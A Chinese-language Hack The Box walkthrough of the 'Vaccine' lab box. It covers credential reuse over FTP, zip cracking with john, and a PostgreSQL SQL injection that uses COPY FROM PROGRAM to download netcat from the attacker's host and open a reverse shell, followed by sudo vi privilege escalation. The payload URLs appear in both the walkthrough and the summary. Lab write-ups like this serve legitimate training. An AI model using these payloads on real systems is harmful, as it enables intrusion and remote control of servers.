Hackthebox-Vaccine

0x01 前言

hackthebox 练习

0x02 过程

首先直接 nmap :

发现只有三个端口,根据上一台 Oopsie 靶机最后给的信息

ftpuser /mc@F1l3ZilL4

直接登陆 ftp,里面有个备份文件的压缩包:

但是解压需要密码,可以使用 zip2john 工具,是 john 包含的一款把 zip 转换成 john 能破解的工具:https://github.com/openwall/john

zip2john ~/backup.zip > hash

使用 john 破解:

John hash

查看解压的 index.php 文件:

从代码逻辑看得出来只要 username 等于 admin 且密码等于密码 md5 加密过后的值,解密 2cb42f8734ea607eefed3b70af13bbd3

使用该密码登陆 80 端口的 web 应用:

存在 sql 注入:

使用 sqlmap 跑,但是不能执行 –os-shell,官方的可以,可能是网络的问题,进行 sql 查询的时候就特别卡

网上介绍 https://www.aldeid.com/wiki/HackTheBox-StartingPoint-Vaccine

可以用 python 脚本 vaccine.py

https://github.com/florianges/-HTB-Vaccine_sql_injection

发现执行不成功,可能还是网络问题,还是乖乖放浏览器执行吧

1
2
3
4
5
http://10.10.10.46/dashboard.php?search=a';DROP TABLE IF EXISTS cmd_31554; -- -
http://10.10.10.46/dashboard.php?search=a';CREATE TABLE cmd_31554 (cmd_output text); -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'wget -P /tmp/31554 http://10.10.14.33:80/nc'; -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'chmod 777 /tmp/31554/nc'; -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM '/tmp/31554/nc 10.10.14.33 4444 -e /bin/bash'; -- -

反弹成功:

读取 postgres 用户的密码:

/var/www/html$ cat dashboard.php

看下 postgres 用户可以执行什么程序:

编辑 pg_hba.conf 文件,有一些乱码输入 :!/bin/bash 即可解决

0x03 总结

1、拿到 ip 直接 nmap

2、看到有需要验证登陆的地方,可以拿其他靶机收集到的账号密码尝试登陆

3、破解 zip:

zip2john xxx.zip > xxx.hash

john xxx.hash

4、postgres 注入执行命令:

  • http://x.x.x.x/dashboard.php?search=a';DROP TABLE IF EXISTS cmd_31554; -- - 如果存在表则删除

  • http://x.x.x.x/dashboard.php?search=a';CREATE TABLE cmd_31554 (cmd_output text); -- - 创建数据库表 cmd_31554 为表名,cmd_output 为字段名,text 为字段数据类型

  • http://x.x.x.x/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'wget -P /tmp/31554 http://x.x.x.x:80/nc'; -- - 使用了 COPY 的语法,官方给的用法解释:

COPY moves data between PostgreSQL tables and standard file-system files. COPY TO copies the contents of a table to a file, while COPY FROM copies data from a file to a table (appending the data to whatever is in the table already). COPY TO can also copy the results of a SELECT query.

就是从程序中复制数据到这个字段表里,在这里只是为了执行后面的命令。

  • http://x.x.x.x/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'chmod 777 /tmp/31554/nc'; -- - 执行添加执行权限
  • http://x.x.x.x/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM '/tmp/31554/nc 10.10.14.x 4444 -e /bin/bash'; -- -
  • http://x.x.x.x/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM '/tmp/31554/nc 10.10.14.x 4444 -e /bin/bash'; -- - 执行 nc 反弹 shell 命令

5、python 建立 http 服务器

  • Python2 python -m SimpleHTTPServer
  • Python3 python3 -m http.server 80

6、反弹交互式 shell

1
2
3
4
5
6
SHELL=/bin/bash script -q /dev/null # 设置 shell 为 /bin/bash,script 命令可以用作交互终端会话过程的记录,保留用户输入和系统输出的全过程。-q 是静默执行 把会话内容丢到黑洞 /dev/null
Ctrl-Z 后台运行
stty raw -echo 设置原始输入禁止回显,当您在键盘上输入时,并不出现在屏幕上
fg 返回前台 shell
reset 跟 clear 清屏差不多
xterm 运行标准虚拟终端

7、最后一个步骤为什么可以输入 :!/bin/bash 直接就跳到 root,主要出现在 sudo,我们可以看下靶机的 /etc/sudoers 文件内容:

只要把用户加到 sudoers 文件里面就可以拥有 root 的权限,就好比如我们装 ubuntu 系统时候初始化是一个 user 权限,如果想要拥有 root 权限,必须在 sudoers 文件里面加入

user ALL=(ALL) ALL

靶机里面只有用 /bin/vi 编辑 pg_hba.conf 文件的权限,我们可以 sudo 输入当前用户密码去编辑文件并在编辑状态下输入 :!/bin/bash 就能跳转到 bash 的 shell 或者输入 :!/bin/zsh 跳转到 zsh 的 shell